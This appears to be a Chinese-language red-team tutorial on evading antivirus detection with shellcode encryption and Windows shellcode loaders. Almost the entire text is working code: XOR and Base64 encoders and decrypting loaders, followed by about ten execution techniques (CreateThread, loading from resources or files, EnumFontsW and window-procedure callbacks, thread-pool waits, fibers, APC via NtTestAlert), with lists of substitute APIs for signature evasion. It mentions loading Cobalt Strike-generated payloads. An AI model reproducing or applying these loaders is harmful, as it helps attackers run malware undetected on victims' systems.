ShellCode & ShellCodeLoader 特征规避
1.ShellCode加密
异或
encode.cpp:
#include <iostream>
int main() {
unsigned char buf[] = "ShellCode";
for (int i = 0; i < sizeof buf; i++) {
printf("\\x%x", buf[i] ^ 0xcb);
}
}
loader.cpp:
#include <windows.h>
int main() {
unsigned char payload[] = "payload";
for (int i = 0; i < sizeof payload; i++) {
payload[i] = payload[i] ^ 0xcb;
}
void* p = VirtualAlloc(NULL, sizeof payload, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, payload, sizeof payload);
((void(*)())p)();
}
Base64
encode.py:
import base64
f = open('ShellCode.bin', 'rb')
shellcode = f.read();
f.close()
print(base64.b64encode(shellcode));
loader.cpp:
#include <windows.h>
#pragma comment (lib, "Crypt32.lib")
int main() {
const char payload[] = "payload";
DWORD payloadLen = sizeof payload;
LPVOID p = VirtualAlloc(0, payloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
CryptStringToBinaryA(payload, payloadLen, CRYPT_STRING_BASE64, (BYTE*)p, &payloadLen, NULL, NULL);
DWORD oldProtect;
VirtualProtect(p, payloadLen, PAGE_EXECUTE_READ, &oldProtect);
((void(*)())p)();
}
2.ShellCodeLoader
ShellCode 加载方式
指针执行
#include <windows.h>
int main() {
unsigned char buf[] = "ShellCode";
void* p = VirtualAlloc(NULL, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 指针指向申请的内存
memcpy(p, buf, sizeof buf); // 将 ShellCode 写入内存
((void(*)())p)(); // 将指针转为 无参数、无返回值的函数 并调用
}
x86 汇编执行
// .data 数据段,存储静态变量和全局变量
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "x86 ShellCode"; // 要为全局变量
int main() {
__asm {
lea eax, buf
call eax
}
}
创建线程执行
#include <windows.h>
int main() {
unsigned char buf[] = "ShellCode";
void* p = VirtualAlloc(NULL, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(p, buf, sizeof buf);
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)p, NULL, 0, NULL); // 创建线程调用 ShellCode,并返回线程句柄
WaitForSingleObject(hThread, INFINITE); // 等待线程执行完毕
}
从资源加载执行
源文件->添加->资源->导入->CS生成的.bin文件->资源类型(BIN)
在resource.h查看资源ID(#define IDR_BIN1)
#include <windows.h>
#include "resource.h"
int main() {
HRSRC res = FindResource(NULL, MAKEINTRESOURCE(IDR_BIN1), L"BIN"); // 在资源表中查找指定名称和类型的资源
DWORD size = SizeofResource(NULL, res); // 获取资源大小
HGLOBAL load = LoadResource(NULL, res); // 加载资源
void* p = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, load, size);
((void(*)())p)();
}
本地分离,从文件加载执行
#include <windows.h>
int main() {
// 读取 ShellCode 文件二进制数据
HANDLE hFile = CreateFileA((char*)"D:\\攻防\\temp.bin", GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0 ,NULL); // 获取文件句柄
DWORD fileSize = GetFileSize(hFile, NULL); // 获取文件大小
void* p = VirtualAlloc(NULL, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
DWORD readFileSize;
ReadFile(hFile, p, fileSize, &readFileSize, NULL); // 读取文件二进制数据到申请的空间
((void(*)())p)();
}
回调函数执行
#include <windows.h>
int main() {
unsigned char buf[] = "ShellCode";
void* p = VirtualAlloc(NULL, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, buf, sizeof buf);
// EnumFontsW 用于枚举系统中的所有可用字体,可以回调函数
EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)p, NULL);
}
窗口过程函数执行
#include <windows.h>
int main() {
unsigned char buf[] = "ShellCode";
DWORD oldProtect;
BOOL ret = VirtualProtect((LPVOID)buf, sizeof buf, PAGE_EXECUTE_READWRITE, &oldProtect);
// 调用窗口过程函数
CallWindowProc((WNDPROC)(char*)buf, (HWND)0, 0, 0, 0);
}
线程池等待对象回调函数执行
#include <windows.h>
int main() {
unsigned char buf[] = "ShellCode";
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof buf, PAGE_EXECUTE_READWRITE, &oldProtect);
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL); // 创建一个事件对象
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)buf, NULL, NULL); // 创建一个线程池等待对象
SetThreadpoolWait(threadPoolWait, event, NULL); // 向线程池中添加等待对象
WaitForSingleObject(event, INFINITE); // 等待事件对象执行完毕,事件对象执行会执行回调函数buf
}
创建纤程(Fiber)执行
#include <windows.h>
int main() {
unsigned char buf[] = "ShellCode";
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof buf, PAGE_EXECUTE_READWRITE, &oldProtect);
ConvertThreadToFiber(NULL); // 将当前线程转换为纤程(轻量级线程)
void* fiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(LPVOID)buf, NULL); // 创建纤程对象
SwitchToFiber(fiber); // 切换纤程,执行函数
DeleteFiber(fiber); // 删除纤程对象
}
NtTestAlert + APC执行
#include <windows.h>
typedef DWORD(WINAPI* pNtTestAlert)(); // 定义函数指针类型
int main() {
unsigned char buf[] = "ShellCode";
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof buf, PAGE_EXECUTE_READWRITE, &oldProtect);
/*
* NtTestAlert 是内部函数,无法直接通过函数名调用
* GetModuleHandleA 用于获取 DLL 句柄
* GetProcAddress 用于获取函数地址
*/
pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
/*
* QueueUserAPC 用于将APC函数插入到指定线程的APC队列中
* GetCurrentThread 返回当前线程的句柄
*/
QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)buf, GetCurrentThread(), NULL);
NtTestAlert(); // 检查当前线程的APC队列是否有待执行的异步过程调用,如果有就会立刻执行
}
函数替换
VirtualAlloc
GlobalAlloc
CoTaskMemAlloc
HeapAlloc
RtlCreateHeap
AllocADsMem
ReallocADsMem
回调函数
EnumTimeFormatsA
EnumWindows
EnumDesktopWindows
EnumDateFormatsA
EnumChildWindows
EnumThreadWindows
EnumSystemLocalesA
EnumSystemGeoID
EnumSystemLanguageGroupsA
EnumUILanguagesA
EnumSystemCodePagesA
EnumDesktopsW
EnumSystemCodePagesW